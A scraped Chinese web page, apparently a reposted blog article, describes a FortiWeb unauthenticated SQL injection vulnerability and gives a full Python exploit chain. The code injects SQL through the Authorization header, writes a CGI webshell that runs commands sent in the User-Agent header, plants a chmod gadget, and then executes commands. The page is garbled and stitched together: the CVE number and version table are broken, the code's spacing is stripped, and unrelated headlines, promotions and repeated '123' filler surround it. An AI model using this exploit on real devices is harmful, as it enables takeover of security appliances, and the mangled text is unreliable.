2026必备!10个降AIGC网站推荐,千笔AI帮你高效降AI率

核心内容摘要

RMBG-2.0软件测试指南:单元测试与性能评估
本科论文AI率多少算合格?2026年各高校标准汇总

<Linux基础11集>电流+二极管+晶体管+存储器

CVE-

— FortiWeb 严重 SQL 注入漏洞 漏洞概述:漏洞类型: 无需认证的SQL 注入受影响组件: FortiWeb GUI / Fabric Connector APICVSS 评分:

6 –

8 (严重)CWE: CWE-89 – SQL命令中特殊元素的不当处理发现与修复: 2025年7月利用状态: 已有公开的概念验证(PoC)预计会被利用--------- | :-------------- | :---------------- ||

6 |

7.

0 至

7.

3 |

7.

4 或更高 ||

4 |

7.

0 至

7.

7 |

7.

8 或更高 ||

2 |

7.

0 至

7.

10 |

7.

11 或更高 ||

0 |

7.

0 至

7.

10 |

7.

11 或更高 | 风险:攻击向量: 远程无需认证影响: 完全访问 FortiWeb 后端数据库可能导致系统沦陷威胁等级:严重—— 尤其因为 FortiWeb 是一款安全设备安装指南系统要求Python

x能够访问目标 FortiWeb 设备的管理界面。

依赖安装脚本主要依赖requests库。

可通过以下命令安装所需依赖pipinstallrequests平台相关说明脚本兼容Windows、Linux和macOS。

由于涉及HTTPS请求可能会遇到证书警告脚本已默认禁用SSL验证警告但实际使用时应谨慎评估安全风险。

核心代码以下展示了项目的核心实现代码及注释

SQL注入基础类该类封装了核心的SQL注入功能。

#!/usr/bin/env python3importargparseimportbinasciifromurllib.parseimporturljoinimportrequestsimporturllib3 urllib

disable_warnings()# 禁用SSL警告classSQLInjection:def__init__(self,target:str):self._targettarget self._buggy_api/api/fabric/device/status# 存在漏洞的API端点returndefinject_sql(self,injection:str)-bool:rcFalse# 构造恶意的Authorization头部将SQL注入载荷附加在Bearer令牌之后headers{Authorization:fBearer ;{injection}# 闭合原SQL语句注入新语句}dst_urlurljoin(self._target,self._buggy_api)try:rrequests.get(dst_url,headersheaders,verifyFalse)# 发送请求rcr.status_code401# 特定响应状态码表明注入成功或至少被处理exceptExceptionase:rcFalseprint(Sending Request Failed: e)returnrc

远程代码执行类该类继承自SQLInjection实现了从SQL注入到写入文件、执行命令的完整攻击链。

classRCE(SQLInjection):def__init__(self,target:str):super().__init__(target)self._targettarget self._buggy_api/api/fabric/device/statusself._pyhook_path/cgi-bin/ml-draw.py# 用于触发Python脚本执行的端点# 构造一个Python脚本用于给Webshell添加执行权限并清理自身self._chmod_fileself._chmod_fileimport os # \r\nself._chmod_fileos.system(chmod x /migadmin/cgi-bin/x.cgi rm -f /var/log/lib/python

10/pylab.py) ## 构造一个简单的CGI WebShell通过User-Agent头接收并执行命令self._webshellself._webshell#!/bin/sh -- \r\nself._webshellprintf Content-Type: text/html\\r\\n;printf \\r\\n;eval $HTTP_USER_AGENTreturndefupload_webshell(self)-bool:# 步骤1: 重置数据库表确保有干净的环境写入数据self._reset_tables()# 步骤2: 将Webshell内容分段写入数据库的文本字段partsself._split_payload(self._webshell)forpartinparts:print(f[*] writing part{part})# 使用SQL的concat函数将载荷片段拼接到字段值中self.inject_sql(fuse/**/fabric_user;update/**/a/**/set/**/a(select/**/concat(a,0x{binascii.hexlify(part.encode()).decode()})/**/from/**/a);--)# 步骤3: 将拼接好的完整载荷从数据库导出到Web服务器目录创建Webshell文件print([] writing webshell file)self.inject_sql(select/**/a/**/from/**/fabric_user.a/**/into/**/outfile/**//migadmin/cgi-bin/x.cgi/**/FIELDS/**/ESCAPED/**/BY/**/;--)# 步骤4: 重复上述过程写入用于提权chmod的Python脚本self._reset_tables()partsself._split_payload(self._chmod_file)forpartinparts:print(f[*] writing part{part})self.inject_sql(fuse/**/fabric_user;update/**/a/**/set/**/a(select/**/concat(a,0x{binascii.hexlify(part.encode()).decode()})/**/from/**/a);--)print([] cooking chmod gadget)self.inject_sql(select/**/a/**/from/**/fabric_user.a/**/into/**/outfile/**//var/log/lib/python

10/pylab.py/**/FIELDS/**/ESCAPED/**/BY/**/)# 步骤5: 访问特定端点触发Python脚本执行为Webshell添加执行权限print([*] triggering chmod)returnself._trigger_chmod()

工具函数与主程序这些辅助函数和主程序逻辑完成了漏洞利用的自动化流程。

# 将长载荷分割成小块以适应数据库操作def_split_payload(self,input_bytes):return[input_bytes[i:i16]foriinrange(0,len(input_bytes),

]# 重置用于存储载荷的数据库表def_reset_tables(self):self.inject_sql(drop/**/table/**/fabric_user.a;--)self.inject_sql(create/**/table/**/fabric_user.a/**/(a/**/TEXT);--)self.inject_sql(insert/**/into/**/fabric_user.a/**/values(\\);--)# 通过访问Webshell执行系统命令defrun_cmd(self,cmd:str)-bytes:rcbdst_urlurljoin(self._target,/cgi-bin/x.cgi)try:# 将要执行的命令放在User-Agent头部Webshell会读取并执行它rrequests.get(dst_url,verifyFalse,headers{User-Agent:cmd})rcr.contentexceptExceptionase:rcFalseprint(Sending Request Failed: e)returnrcdefmain():parserargparse.ArgumentParser(progexp.py,descriptionSQLi to RCE primitive,# 程序描述从SQL注入到RCE的原始利用)parser.add_argument(-t,--target,helpi.e: https://target-host.com/,requiredTrue)argsparser.parse_args()target_hostargs.target# 创建RCE利用对象并执行攻击链pewRCE(target_host)ifpew.upload_webshell():print([*] executing id ...)outpew.run_cmd(id)print(out.decode())print([*] webshell available at: )print(f {urljoin(target_host,/cgi-bin/x.cgi)}),print(provide command via the User-Agent header!))else:print([!] prolly failed :()returnif__name____main__:main()FINISHED 6HFtX5dABrKlqXeO5PUv/84SoIoTE3firf/5vX8AZ5LZ5wdOrcQltyxhR6MUrwo 更多精彩内容 请关注我的个人公众号 公众号办公AI智能小助手 对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号网络安全技术点滴分享

朝阳区热心群众小鹿酱的背景故事-朝阳区热心群众小鹿酱的背景故事应用

百度百家号客服电话人工服务

123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123